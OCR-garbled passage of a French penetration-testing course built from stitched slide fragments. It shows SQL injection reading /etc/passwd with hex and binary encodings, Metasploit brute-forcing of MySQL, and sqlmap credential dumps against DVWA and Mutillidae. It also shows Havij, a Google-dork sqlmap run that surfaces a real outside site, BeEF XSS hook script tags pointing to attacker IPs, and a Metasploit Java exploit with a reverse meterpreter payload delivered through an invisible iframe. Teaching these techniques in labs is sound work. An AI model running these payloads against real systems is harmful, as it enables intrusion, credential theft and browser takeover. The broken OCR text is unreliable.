libuuid:x:100:101::ivar/lib/libuuid:/bin/sh
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/binffalse mysql:x:103:105:MySQL

Server,, :Nar/lib/mysql:/binffalse
landscape:x:104:122::/var/lib/landscape:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
postgres:x:106:109:PostgreSQL

administrator,, /ivar/lib/postgresql:/bin/bash
messagebus:x:107:114::/var/run/dbus:/binffalse
tomcat6:x:108:115::/usr/share/ftomcat6:/binffalse
user:x:1000:1000:user,,,./home/user:/bin/bash
polkituser:x:109:118:PolicyKit,,,:var/run/PolicyKit:/bin/false
haldaemon:x:110:119:Hardware abstraction

layer,, :ivar/run/hald:/binffalse pulse:x:111:120:PulseAudio
daemon,,,:/var/run/pulse:/binffalse
postfix:x:112:123::/var/spool/postfix:/bin/false

Password=

Signature=

OO
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Hexadécimal

Si les guillemets simples sont échappés par un filtrage c6té serveur, cette injection ne
fonctionnera pas telle quelle. Il suffira alors de remplacer la chaine ‘/path/to/file’ par la

conversion hexadécimale de /path/to/file (on convertit la chaine sans les guillemets).
Par exemple, la conversion hexadécimale de /etc/passwd est :
2f 6574 63 2f 7061737377 64
(on utilise pour cela un convertisseur ASCII-HEXA)
Alors load_file('/etc/passwd’) devient : load_file(0x2f6574632f706173737764)

On n’oublie pas d’ajouter 0x devant la chaine convertie pour spécifier qu’il s’agit

d’une chaine hexadécimale.

On pourra dés lors afficher le contenu du fichier local, malgré le filtrage opéré !

Binaire

Il est possible d’effectuer la méme attaque avec la conversion binaire de la chaine (il

faut alors faire précéder la chaine convertie de 0b)
letc/passwd donne en binaire :

00101111 01100101 01110100 01100011 00101111 01110000 01100001 01110011
01110011 01110111 01100100

Alors load_file('/etc/passwd’) devient :
load_file(0b0010111101100101011101000110001100101111011100000110000101110011
011100110111011101100100)
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MySQL : attaquer le port 3306 de Metasploitable

On va attaquer le port 3306 (mysql) de la machine virtuelle Metasploitable.

On va utiliser le module auxiliaire auxiliary/scanner/mysql/mysql_login de Metasploit.
Il faut fournir au module deux dictionnaires (un pour les noms d’utilisateur et un pour

les mots de passe) :

msf > use auxiliary/scanner/mysql/mysql_login

msf auxiliary( ) > set RHOSTS 10.0.1.4

RHOSTS => 10.0.1.4

msf auxiliary( ) > set PASS_FILE /root/Desktop/pass.txt
PASS FILE => /root/Desktop/pass.txt

msf auxiliary( ) > set USER FILE /root/Desktop/user.txt
USER_FILE => /root/Desktop/user.txt

msf auxiliary( ) > set BLANK PASSWORDS yes

BLANK_ PASSWORDS => true

msf auxiliary( ) > run

[+] 10.0.1.4:3306 - 10.0.1.4:3306 - Found remote MySQL version 5.0.51a
10.0.1.4:3306 - 10.0.1.4:3306 - LOGIN FAILED: admin: (Incorrect: Acc
ess denied for user 'admin'@'10.0.1.5' (using password: NO))
10.0.1.4:3306 - 10.0.1.4:3306 - LOGIN FAILED: admin:admin (Incorrect
: Access denied for user 'admin'@'10.0.1.5' (using password: YES))

- 10.0.1.4:3306 - LOGIN FAILED: toor:root (Incorrect:
0 _0 : ing . n ard-

- 10.0.1.4:3306 - Success: 'root:'

d cu U U UU OlP LE
Auxiliary module execution completed
msf auxiliary( ) >

Login trouvé = "root" :
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Il me reste a me connecter a mysql avec I'username "root" et le mot de passe vide :

:~# mysql -h 10.0.1.4 -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 18
Server version: 5.0.5l1a-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input
statement.

MySQL [(none)]> show databases;

information_schema | J'affiche les bases de
dvwa données avec :

metasploit .
mysql show databases;

owasplo
tikiwiki
tikiwikil195

rows in set (0.00 sec)

MysQL [(none)]1> |}

J’affiche les tables de la base de données owasp10 :

MySQL [(none)]> show tables from owasplO;

accounts |
blogs table |
captured data |
credit cards |
hitlog |

I

4

show tables from owasp10;

pen test tools

rows in set (0.00 sec)
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Je me place dans base de données owasp10 et j’affiche les colonnes de la table accounts :

MySQL [(none)]> use 'owasplO';
Reading table information for comp(®™{ion of table and column names
You can turn off this feature to get aWQicker startup with -A

Database changed
MySQL [owasplO]> show columns from accounts;

int(11) ‘ ,
username text use ‘owasp10’;
password text
mysignature text
is_admin varchar(5)

show columns from accounts;

rows in set (0.00 sec)

MySQL [owaspl®]> select username, password from accounts;

adminpass

somepassword

monkey

password

password

samurai BINGO !
password

bobby password J'obtiens les identifiants de connexion et les

|

| adrian
|

|

|

|

|

|

| simba password mots de passe avec :
|

|

|

|

|

|

|

john
jeremy
bryce
samurai
jim

|
|
|
|
|
|
|
|
dreveil | password
scotty | password select username, password from accounts;
cal | password
john | password
kevin | 42
dave | set
|
+

pentest

16 rows in set (0.04 sec)
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Injections SQL avec SQLMap

Attaquer une base de données avec sqgimap

PROCEDURE

1. Ciblez une base attaquable. Pour ce faire, surfez sur le site que vous ciblez,
naviguez entre les pages, dés que vous voyez apparaitre ".php?id=..." dans la barre
d’adresse, copiez 'URL.

Je peux tester 'adresse avec l'option -p paramétre-testable (ici : "id").

2. Commande pour voir les bases de données :

sqglmap -u url_copiée --dbs

3. Commande pour voir les tables qui se trouvent au niveau de la base choisie :
sqglmap -u url_copiée -D nom_base_choisie --tables

.. Commande finale pour afficher toutes les colonnes d’une table et leur contenu :

[ sqglmap -u url_copiée -D nom_base_choisie -T nhom_table choisie --dump ] -

FACULTATIF :

Commandes pour voir les colonnes d’une table choisie et seulement le contenu d’'une
partie d’entre-elles :

sqglmap -u url_copiée -D nom_base choisie -T nom_table choisie --columns

sqglmap -u url_copiée -D nom_base_choisie -T nhom_table_choisie
-C nom_de _la_colonne_1,nom_de la colonne 5 --dump

o ™= mm mm mm mm mm Em mm mm Em Em Em e R R Em Em Em Em Em Em Em R R Em Em Rm Em Em Em Em Em R R R R R R e e e e e——

Trois options doivent parfois étre ajoutées :

--technique=... BEUST
--keep-alive garde la connexion persistante
--level=3 parfois indispensable, le level varie de 1 a 5 (défaut = 1)
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Remarques

o Si le site nécessite un login (existence d’une session), il faudra spécifier a sqimap

la valeur du cookie avec --cookie "XXX=XXXXXXXXXXXXXXXX"

o Utiliser un LEVEL et RISK élevés n’est pas professionnel et causera probablement

des problémes a ’'infrastructure du client.

o Parfois, les applications web modifient leur output, ce qui rend une exploitation

BLIND impossible. On peut alors utiliser --string (chaine toujours présente dans une

page TRUE) et --not-string (chaine toujours présente dans une page FALSE).

e Les techniques utilisées par sgimap sont :

©)

O

--technique=B :
==technique=E :
=-=technique=U :
=-technique=S :

==technique=T :

boolean-based (blind SQL.i)
error-based (in-band SQLi)

union query-based (in-band SQL.i)
stacked queries

time-based (blind SQLi)

e Si on détecte graice a BURP qu’un parameétre POST est injectable dans

'user=max&pass=test123’, on peut par exemple lancer :

sqglmap -u URL =--data="user=max&pass=test123' -p user --technique=B =--suffix="; - -

ou

sqlmap -u URL --data='user=max&pass=test123' -p pass --technique=B

¢ Une option de sqlmap (I’option --os-shell) permet de télécharger sur le serveur cible

un shell PHP. Mais cela ne fonctionne que si on a les privileges suffisants pour

I’écriture sur ce serveur. Cela ne fonctionne pas, par exemple, avec Mutillidae...

|@®@@|
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Attaquons le site Mutillidae (machine virtuelle OWASP BWA) avec sqlmap

Rendons-nous a I'adresse : http://10.0.2.8/mutillidae/index.php?page=user-info.php

@ OWASP Mutillidae 1I: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In
Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL. Reset DB View Log View Captured Data

| T—— ]
) me @ o
‘

A Switch to SOAP Web Service version XML ) Switch to XPath version
=
Authentication Error: Bad user name or password
‘ Please enter username and password ’

to view account details

e

[
Name [jim
Getting Started:
ProiecE Password [e0ee
Whitepaper
[ View Account Details ]
‘ Dont have an account? Please register here
[ Results for "jim".0 records found. ]
Release
Announcements

J’introduis un username quelconque (jim) et un password quelconque (kirk). Bien
évidemment 'authentification échoue.

Je copie alors le lien :

http://10.0.2.8/mutillidae/index.php?page=user-
info.php&username=jim&password=kirk&user-info-php-submit-
button=View+Account+Details

Je lance alors sglmap avec la commande :

sqlmap -u "http://10.0.2.8/mutillidae/index.php?page=user-
info.php&username=jim&password=kirk&user-info-php-submit-
button=View+Account+Details" --dbs

ASTUCE : il faut mettre 'URL entre guillemets pour que cela fonctionne !
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Jobtiens alors le nom des bases de données existantes dans la machine virtuelle OWASP BWA :

ilable databases [34]:
.svn

bricks

bwapp
citizens
cryptomg
dvwa
gallery2
getboo

ghost
gtd-php

hex
information schema
isp

joomla
mutillidae
mysql

nowasp
orangehrm
personalblog
peruggia
phpbb
phpmyadmin
proxy
rentnet
sqlol
tikiwiki
vicnum
wackopicko
wavsepdb
webcal
webgoat coins
wordpress
wraithlogin
yazd

Je remarque une base de données nommée mutillidae. C’est elle qui m’intéresse ici !
Je lance alors :

sqlmap -u "http://10.0.2.8/mutillidae/index.php?page=user-
info.php&username=jim&password=kirk&user-info-php-submit-
button=View+Account+Details" -D mutillidae --tables

Jobtiens alors la liste des tables :

Database: mutillidae
[11 tables]

o+
| accounts

| balloon tips
| blogs table
| captured data
| credit cards
| help texts

|

|

|

I

hitlog

level 1 help include files
page help

page hints

pen_test tools
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Je choisis la table accounts et je lance :

sqlmap -u "http://10.0.2.8/mutillidae/index.php?page=user-
info.php&username=jim&password=kirk&user-info-php-submit-
button=View+Account+Details" -D mutillidae -T accounts --columns

Jobtiens alors la liste des colonnes :

Database: mutillidae
Table: accounts
[5 columns]

int(11)
is admin varchar(5)
mysignature | text
password
username

Je choisis les colonnes password et username et je tape :

sqlmap -u "http://10.0.2.8/mutillidae/index.php?page=user-
info.php&username=jim&password=kirk&user-info-php-submit-
button=View+Account+Details" -D mutillidae -T accounts -C password,username --dump

BINGO : j’obtiens alors les noms d’utilisateur et mots de passe correspondants.

Database: mutillidae

Table: accounts

[19 entries]

S s G S UG S et +
password username |

. D +

I
somepassword adrian |
monkey john |
password jeremy |
password bryce |
samurai samurai |
password jim |
password bobby |
password simba |
password dreveil |
password scotty |
password cal |
password john |
42 kevin |
set dave |

I
|
|
|

tortoise patches
stripes rocky
user

pentest
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SQLMap et les sesssions : 'exemple de DVWA

Pour pouvoir utiliser sqlmap sur une page qui demande d’étre connecté avec un login
et mot de passe, et le systéme de session, il suffit de fournir au programme la valeur

d’un cookie de session.

On se connecte au site avec le navigateur et on intercepte le cookie de session avec

Burp.

Voici un exemple concret avec le site vulnérable DVWA (machine virtuelle OWASP
BWA) :

g HTTP history | WebSockets history | Options |

¢/ Request to http://10.0.2.15:80

[ rowerd ][ oon | (iiSESEESGA ( Acton |

Params THeaders Tl-lex ]

GET /dvwa/index.php HTTP/1.1
Host: 10.0.2.15

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.0.2.15/dvwa/login.php

Cookie: security=low; PHPSESSID=chuisOn7ilfébj6ggmigkseni?; acopendivids=swingsel,jotto,phpbb2,redmine; acgroupswithpersist=nada
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Interception du cookie de session

Cookie: security=low; PHPSESSID=chuisOn7ilfébj6ggmigkseniT;
acopendivids=swingsetl, jotto,phpbb2, redmine; acgroupswithpersist=nada

La commande sqlmap ressemblera alors a ceci (on recopie le début du cookie) :

:~# sqlmap -u "http://10.0.2.15/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cookie="security=low; PHPSESSID=ohuisOn7ilf6bj6gqm9gksen37;"

[ WARNING] in OR boolea
h '--drop-set-cookie' if you expe
GET parameter 'id' is vulnerable.

n

Le paramétre sqlmap identified the following 1

"id ' est
injectable !

|@®@@|
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SQLMap et les google dorks

SQLmap peut rechercher automatiquement, avec l'option -g, les URL a tester en

fonction d’un google dork. Par exemple :

sqlmap -g "inurl:\"products.php?prodID="1\""

root@® kali ~
] "inurl:\"products.php?prodID=1

http://sqlmap.org
[!'] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is
illegal. It is the end user's responsibility to obey all applicable local, state and feder

al laws. Developers assume no liability and are not responsible for any misuse or damage ca
used by this program

[*] starting @ 12:33:22 /2020-12-19/

] using search result page #1
] found 16 results for your search dork expression, all of them are testabl

] found a total of 16 targets

GET http://www.steripurewater.com/products.php?prodid=1
do you want to test this URL? [Y/n/ql

> 1l
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Blind SQLi avec SQLMap et DVWA

Ouvrons DVWA a la page concernée :

Vulnerability: SQL Injection (Blind)

User ID:

Submit

Il est possible de découvrir empiriquement le nom de la base de données courante en

testant successivement :
' or substring(database(),1,1) ='a' #

' or substring(database(),1,1) ='b' #

' or substring(database(),1,1) ='d'# =» VALIDE

Vulnerability: SQL Injection (Blind)

User ID:

\ | submit |

ID: ' or substr(database(),1,1) = 'd' #
First name: admin

Surname: admin <+—

ID: ' or substr(database(),1,1) = 'd' #
First name: Gordon

Surname: Brown 44—

ID: ' or substr(database(),1,1) = 'd' #
First name: Hack
Surname: Me

ID: ' or substr(database(),1,1) = 'd' #
First name: Pablo
Surname: Picasso

ID: ' or substr(database(),1,1) = 'd' #
First name: Bob
Surname: Smith

Puis :
' or substring(database(),2,1) ='a' #

' or substring(database(),2,1) ='b' #

' or substring(database(),2,1) ='v'# = VALIDE

Et ainsi de suite. Ceci est cependant fastidieux...
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Utilisons plutét SQLMap, avec la commande :

sqlmap -u "http://192.168.56.102/dvwal/vulnerabilities/sqli_blind/?id=%27 &Submit=Submit#"
--cookie="PHPSESSID=5994b10acd7c666ff63c0edef04e77b6;security=low" --dbs

available databases [7]:
[*] dvwa

[*] information_schema
[*] metasploit

[*x] mysql

[*] owaspil0

[*] tikiwiki
[*] tikiwiki195

Le cookie peut étre obtenu grace aux outils de développement du navigateur, grace a une

extension du navigateur (a installer) ou grace a Burp Suite.

Puis :

sqlmap -u "http://192.168.56.102/dvwalvulnerabilities/sqli_blind/?id=%27 &Submit=Submit#"
--cookie="PHPSESSID=5994b10acd7c666ff63cO0edef04e77b6;security=low" -D dvwa --tables

Database: DVWA
[2 tables]

guesthbhook

Et finalement :

sqlmap -u "http://192.168.56.102/dvwal/vulnerabilities/sqli_blind/?id=%27 &Submit=Submit#"
--cookie="PHPSESSID=5994b10acd7c666ff63c0edef04e77b6;security=low" -D dvwa -T users
--dump

Database: dvwa
Table: users
[5 entries]
Fmmm e ——— Fmmm—————— o e Fmm———————— A e Frmmmm——————— +
| user_id | user | avatar | last_name | password first_name |
Fmmmm————— Fmm e o —————— e Fommm———————— +
http://10.0.2.4/dvwa/hackable/users/admin. jpg admin 5f4dcc3b5aa765d61d8327deb882¢cf99
gordonb | http://10.0.2.4/dvwa/hackable/users/gordonb.jpg €99a18c428cb38d5f260853678922e03 | Gordon
1337 http://10.0.2.4/dvwa/hackable/users/1337.jpg 8d3533d75ae2c¢3966d7e0d4fcc69216b Hack
pablo http://10.0.2.4/dvwa/hackable/users/pablo. jpg Picasso 0d107d09f5bbes0cade3de5c71e9e9b7 Pablo
smithy http://10.0.2.4/dvwa/hackable/users/smithy.jpg Smith 5f4dcc3b5aa765d61d8327deb882cf99
Fomm e Fomm e A e Bttt A e Fomm e +

BINGO !
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Exécutons le programme :

Injections SQL avec Havij

Target:

s )

About Infa

[F]Keyword: | Auto Detect

 http://www.target.com/index.asp?id=123

4

[F] Syntax: | Auto Detect

@ B =
Tables Read Files  Cmnd Shell

&

Query  Find Admin

Data Base: Moo [gEmn] e [Ames] 1o o

T *%

MDS  Settings

Havij - Advanced SQL Injection Tool

Version 1.12 Free

Copyright © 2009-2010

By r3dmOv3
http://ITSecTeam.com
http://forum.Itsecteam.com
info@itsecteam.com Check for update
Data Bases:

MsSQL with error
MsSQL no error

MsSQL Blind

MsAccess
MsAccess Blind
MySQL

-

553 Status: I'm IDLE

Havij 1.12 Free ready!

Clear Log

-~

Langons une attaque sur un site vulnérable, en local :

Target:

Keyword: Auto Detect

Data Base:

(http://localhost/security/13/article.php?id=1

Syntax: Auto Detect

Auto Detect

v] Method |GET.

v
)

Type: |Auto Detect v

Il s’agit d’une attaque par la méthode GET et le paramétre injectable est id=1.

OO
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Keyword Found: test

Injection type is Integer
DB Server: MySQL ==5
Selected Column Count i1s 2
Finding string column

Valid String Column is 2
Target Vulnerable :D
Current DB: test

La cible est bien
vulnérable !

Cliquons sur INFO

About | Info

Tables

B

Read Files

Target:

Host IP:

Web Server:
Powered-by:
DB Server:
Current User:
Sql Version:
Current DB:
System User:
Host Name:

http://localhost/security/13/article.php?id=1
127.0.0.1

Apache/2.4.10 (Win32) OpenS5L/1.0.1i PHP/5.5.19
PHP/5.5.19

MySQL ==5

test@localhost

5.6.21

test

test@localhost

1IESBWin7

Installation dir:
DB User & Pass:

C:/xampp/mysqgl
root::localhost
root::127.0.0.1
root::::1
::localhost
pma::localhost

* Status: I'm IDLE

Db User & Pass: test:*94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29:localhost
Data Base Found: information_schema

Data Base Found: cdcol

Data Base Found: mysql

Data Base Found: performance_schema

Data Base Found: phpmyadmin

Data Base Found: test

Data Base Found: webauth

Des bases de données sont découvertes.
Nous allons maintenant cliquer sur
TABLES, puis successivement sur Get
Tables, Get Columns et Get Data.

e [= b =m %
Info Tables  ReadFiles Crnd Shel Query,

= i i it

Get DBs Get T;bles Get Cbiumns Get Data

(1 (2 ©

OO
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«[] information_schema
~["] edcol

<[] mysql

-[] performance_schema
-] phpmyadmin

«[] webauth

]

1 |

(V| Use Group_Concat (MySOL Only)

" Status: I'mIDLE

] &ll in one request.

Data Base Found: cdcol
Data Base Found: mysql

Data Base Found: phpmyadmin
Data Base Found: test
Data Base Found: webauth

Data Base Found: performance_schema

Count(table_name) of information_schema.tables Where table_schema=0x74657374 |
Tables found: articles,comments,users

n

CHm] =<
¢ ] users

E] comments

- [] articles
- [T] information_schema

Trois tables sont
trouvées : articles,

comments et users.

Cochons la table qui nous

cliquons sur Get Columns..

I intéresse (la table USERS) et

OO
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= Ol »

B-[] users

- [] attempts
i [] disabled
sont

dont trois

O
=%
m

-[] comments Cochons-les.

5 colonnes sont découvertes,
trés
intéressantes : id, login et pass!

-] articles

~[] information_schema
-] edeol

<[] mysql

-] performance_schema
-] phpmyadmin o

< | m

[V] Use Group_Concat (MySGL Only) [ ] Allin one request.

Status: I'm IDLE

Clear

Data Base Found: performance_schema

Data Base Found: phpmyadmin

Data Base Found: test

Data Base Found: webauth

Count(table_name) of information_schema.tables Where table_schema=0x74657374 is
Tables found: articles,comments,users

Count(column_name) of information_schema.columns Where table_schema=0x7465737
Columns found: id,login,pass,disabled,attempts

("]
W

4 AND table_na

@ H E e ® & ¥ %8
About Info Tables  ReadFiles Crnd Shell Query  Find Admin MD5 Setting
@ = i i | ‘ o =
Stap Get DBs Get Tables Get Columns  Get Data Save Tables  Save Data
N test] NP i
: = ogin ass
=[] users : 9 P
: 1 admin test
2 max hacker
Cliquons enfin sur Get Data :
gl i"c’]°'"|‘a‘i°"_schema les deux logins et mots de
~[Jedeo passe sont découverts !
[ mysql
-[] performance_schema
-["] phpmyadmin -
[¥] Use Group_Concat (MySGL Only)  [] Allin one request.
* Status: I'mIDLE Clear U
Data Found: pass=test
Count(*) of test.users is 2
Data Found: id=1
Data Found: login=admin
Data Found: pass=test
Data Found: id=2
Data Found: login=max
Data Found: pass=hacker
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Contre-mesures aux injections SQL

205:

Validation des entrées

>

YV V V V

= On peut utiliser les fonctions is_numeric(), is_integer(), is_real() et
is_bool()

= On peut utiliser une RegEx pour les données structurées :

Email

N° de téléphone
Code postal
Age

Requétes préparées

Ce type de pare-feu (WAF = Web Application Firewall) peut bloquer les

attaques par injection SQL.

2
Voir le chapitre consacré a PHP
Echappement (escaping)
3
On utilise la fonction mysqli_real_escape_string()
Pare-feu d’application web (WAF)
4

OO
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Le framework BeEF (Browser Exploitation Framework)

Username : beef

Password : beef

Authentication

Username:

Password:

Login

On peut changer la configuration de BeEF (nouveau mot de passe , autre port -par

exemple 80 ou 443-, ...) en modifiant le fichier /etc/beef-xss/config.yaml.

Ce Framework (un framework est un outil qui aide le programmeur dans son travail) est
un outil de sécurité trés important, fonctionnant sous Linux. Il permet de prendre le
controle d’un site web a travers une faille XSS (on peut ensuite exécuter des

commandes juste en cliquant sur des boutons). Les commandes permettent :

Le contrdle de la webcam du visiteur du site compromis
e La capture d’écran de I'ordinateur cible
o L’affichage d’une boite de dialogue sur I’ordinateur cible
e Le vol de cookies
e L’enregistrement de la frappe (Keylogger)
¢ Le vol de données sensibles
¢ L’installation d’'une fausse mise a jour (contenant un virus, keylogger, backdoor
ou autre malware ...)
o L’obtention d’une session meterpreter grace a une faille dans un plugin du navigateur.

e Etc.

La technique est simple : on lance une attaque sur un site donné qui a une faille XSS et
on fait un hook sur les navigateurs connectés a ce site. Faire un hook signifie faire une

prise de contréle a distance.
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Il suffit de soumettre le script suivant a ’application qui contient la faille XSS :
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<script src= "http://<IP>:3000/hook.js"></script>

Please wait as BeEF services are started.
You might need to refresh your browser once it opens.
UI URL: http://127.0.0.1:3000/ui/panel

Hook: <script src="http://<IP>:3000/hook.js"></script>
Example: <script src="http://127.0.0.1:3000/hook.js"></script>

207:

= |

On peut également simplement envoyer un lien vers un fichier qui contient ce script a

la victime en espérant que la personne clique dessus.

Interface de BeEF

Exemple de hook

™ Frefox ~ |

J # BeEF Control Panel | 5F i

“ 10.10.10.208:3

Hooked Browsers
4 ) Online Browsers
4£510.10.10.208

? MM 101010202

Commands

Module Tree
4 () Browser (10)
__] Hooked Domain (17)

) Offline Browsers
Play Sound
Unhook

Webcam

zom bies Get Visited Domains
Detect Popup Blocker

@ Detect FireBug
@ Detect Unsafe ActiveX
@ Fingerprint Browser
@ Get Visited URLs

_1Chrome Extensions (7)

__]Debug (3)

__]Exploits (14)

_JHost (13)

11PEC (6)

h (225)

Rider

Module Results History
id -

¥ BeEF
Hooked Browsers
4 ) Online Browsers

4/ ]192.168.61.130

\! ﬂ =7192.168.61.128
__| Offline Browsers

Eﬁ | Logout

Command results

label 1

2013-02-07 15:23 command 1
2013-02-07 15:34  command 2

résultat

description

] Misc (6)
] Network (8)

] Persistence (4)

commandes

] Phonegap (8)
] Social Engineering (6)

Basic Requester

&) Ready

Re-execute command

Explications :

e La partie "zombies" vous donne l'adresse IP des victimes connectées. Une machine

zombie en sécurité informatique est un ordinateur contrélé a I'insu de son utilisateur par un

hacker.
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e La partie "commandes" est la partie la plus dangereuse de BeEF. Les commandes sont

diverses : faire apparaitre une boite de dialogue JavaScript -boite alert( )-, allumer la

webcam, récupérer des cookies, faire une redirection, etc... Une icdne colorée se trouve

devant chaque commande :

o lcone verte : on peut lancer la commande de maniére invisible.

o Icone orange : la commande fonctionne mais est visible par I'utilisateur.

o lcone grise (ou blanche) : la commande est non vérifiée.

o Icone rouge : la commande ne fonctionne pas.

e La partie "résultat" liste le résultat des commandes.

e La partie "description" vous donne un détail de chaque commande.

Types de commandes :

__| Browser (53)
__I Chrome Extensions (6)
__1Debug (9)

4 '] Social Engineering (21)

__| Exploits (78)

Les commandes

__IHost (22) d’ingénierie sociale

_JIPEC (9)

sont trés utiles

__IMetasploit (1)

__IMisc (16)

__INetwork (19)

__| Persistence (5)
__IPhonegap (16)

__| Social Engineering (21)

Steal Autocomplete

Fake LastPass

Clickjacking

Clippy

Fake Flash Update

Fake Notification Bar (Chrome)
Fake Notification Bar (Firefox)
Fake Notification Bar (IE)
Firefox Extension (Bindshell)
Firefox Extension (Dropper)
Firefox Extension (Reverse Shell)
Google Phishing

Lcamtuf Download

Pretty Theft

Replace Videos (Fake Plugin)
Simple Hijacker

TabNabbing

@ Fake Evernote Web Clipper Login
@ HTA PowerShell

@ SiteKiosk Breakout

@ User Interface Abuse (IE 9/10)

A vous de tester toutes ces commandes. Bon amusement !

Protection : on peut se protéger contre BeEF avec I’extension de navigateur NoScript.
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Obtenir une session meterpreter grace a BeEF

Soit un ordinateur capturé par BeEF grace au script suivant :
<script src="http://172.16.111.30:3000/hook.js"></script>)
On peut obtenir des infos sur la machine cible avec :

e L’onglet Details

¢ La commande Host/Get System Info

BeEF Control Panel - Mozilla Firefox 00
FooResearch - Blog x | BeEF Control Panel x|+
€ | ® | 127.0.0.1:3000/ui/panel El| & ||Q Search B ¥ #® w | =
"\ Kall Linux "\ Kali Tools fe.Exploit-DB @ Getting Started @ Members
® BecF 0470.apha | Submi Sug | Logow Onglet Details
A0 EYDNN | Geting Started ®|["Logs | Current Browser |

4 Z30nine Browsers
473172161111

Detaits | Logs | Comnands | Rider || XssRays | Ipec | Wetwik || WEBRTC | |

? 0 B1m21611130 || @ category: Browser (6 items)

: EWM 61111 Browser Name: Internet Explorer ;
(3 0tfine Browsers Browser Version: 10 .

Browser UA String: Moz #a'S .0 {(compatible; MSIE 10.0; Windows NT 6.1; Tndent's.0; SLCC2. NET CLR Intaiz aton
2.0.50727, NET CLR 3.5.30729, .NET CLR 3.0.30729; Media Center PC 6.0. .NET4.0C; NET4.0E)

e -— Browser Language: en-US

|| Whndow Size: Width: 1016, Heght: 663
g B Coompoas L2 M) Browser Platform: Win32
Flash: No

[ VBScript: Yes

PhoneGap: No C’est un ordinateur
Google Gears: No . .
e Windows 32 bit
QuickTime. No

|| ReatPlayer: No
Windows Media Player. Yes
WebRTC No

Basic Requester ActiveX: Yos

BeEF Control Panel - Mozilla Firefox 0o 0
FooResearch - Blog x | BeEF Control Panel x | 4+
€ @ 127.0.0.1:3000/ui/pane! e \ Search T8 $ A& O =

N Kall Linux "\ Kali Tools *e.Exploit-DB @ Getting Started @ Members

¥ Becr 047.0.sbhs | Subemit Bug | Logout

Get System Info

Hocked Browsers Setting Started Log= Current Browser
4 -5 Onine Browsers
453172360111 Detads Logs Commands Rudet XssRays Ipec Network WelRTC
? A& 1721611130 Module Tree Module Results History Command resuts
& RM¥ 12161111 5 T il 1| Mon May 14 2018 21:39:01 GMT+0200 A
EST

() Offine Browsers -
— Beowser (53) 110 2018.05-1421.38  command 1 data: system_info=Avalabie processors

(cores): 1
Maximum memory (byles): 259522560

] Chrome Extensions (6)
Debug (9)

Java Vendor: Oracle Corporation B
Java Version: 1.7.0_17 %
Java Specification Version: 1.7
Java VM Version: 23.7-b01

Free memary (bytes): 13581068
Total memory (bytes): 16252328
Detautt Screen: Display0
Display0 Mode: 1024x768 326k @
60Hertz

OS Name: Windows 7

OS version: 6.1

0OS Architecture: xB6

Browser Name: sun.pugn
Browser Version: 1.1

Java Vendor: Oracie Corporation
Java Version: 1.7.0_17

Detect Hewlett-Packard
Detect Software
Detect Virtual Machine

o g . At O =9 Java Spectcation Version: 1.7
Le plugin java 1.0.0_17 est o Sovn Rt 237501
’ % Host Name: iocalnost
H A i Get Protocol Handlers Hast Address; 127 0.0.1
I nStaI Ie su r cette maCh I ne. Get System Inf‘o ke:wvn ;TI’;{M:?) (intertace, name, 1P).
b, Sottware Loopback Interface 1
Hook Detaut Browses 127.00.1

& Get Geobcaton netd, WAN Minport (SSTP)
At MIAN Mt {1 7TDA

et Llnvny
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Dans le cas présent, on voit que Java 1.0.0_17 est installé.

Recherchons sur Google un exploit pour ce plugin (recherche : java 1.0.0_17 exploit

metasploit), on trouve le lien suivant :

https:/lwww.rapid7.com/db/modules/exploit/multi/browser/java_jre17_provider_skeleton

Nous allons donc utiliser dans Metasploit :

exploit/multi/browser/java_jre17_provider_skeleton

> use exploit/multi/browser/java_jrel7 provider_ skeleton
exploit( ) > show targets

Exploit targets:

Generic (Java Payload)
Windows x86 (Native Payload)
Mac 0S X x86 (Native Payload)
Linux x86 (Native Payload)

msf exploit( set TARGET 1
TARGET => 1

msf exploit( set PAYLOAD windows/meterpreter/reverse tcp

PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit( set LHOST 172.16.111.30
LHOST => 172.16.111.30
msf exploit( set SRVHOST 172.16.111.30
SRVHOST => 172.16.111.30
msf exploit( set SRVPORT 8080
SRVPORT => 8080
msf exploit( set LPORT 1234
LPORT => 1234
msf exploit( set URIPATH /
URIPATH => /
exploit( exploit
Exploit running as background job 0.
exploit(
Started reverse TCP handler on 172.16.111.30:1234
Using URL: http://172.16.111.30:8080/
Server started.

Il faut donc maintenant que le lien suivant soit utilisé par notre victime :
http://172.16.111.30:8080/
On pourrait se servir du XSS qui a été utilisé par BeEF pour capturer la machine.

Une alternative trés discréte et efficace consiste a injecter notre payload dans un

iframe invisible grace a une commande BeEF.
On va se servir de la commande :

Misc > Create Invisible Iframe
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BeEF Control Panel - Mozilla Firefox (I C I ]

FooResearch - Blog %) BeEF Control Panel x \ +

€ ) @ | 127.0.0.1:3000/ui/panel EJ(110% | & ||Q Search wBa ¥ A 2 =

% Kali Linux % Kali Tools . Exploit-DB @ Getting Started @ Members

“ BeEF 0.4.7.0-alpha | Submit Bug | Logout

Hookerl Browsets Getting Started x|l Logs Current Browser
4 &5 Online Browsers
469172161111 Details || Logs || Commands | Rider || XssRays || Ipec || Network | WebRTC
7 B @1721611130 Module Tree Module Results History Create Invisible iframe
© W 172161111 Search id... | date label Description:  Creates an invisible iframe.
] Offline Browsers

] Browser (53) @ ﬁ"i[nu ‘}"\::Irlhr:‘ek st = 8

il Chome EXtensions (9) URL: hittp://172.16.111.30:8080/

_JDebug (9)

) Exploits (78)

~JHost (22)

“JIPEC (9)

~Metasploit (1)

4 &5 Misc (16)
~IBM iNotes (5)
. BozoCrack
_ Create Invisible lframe
Google Search
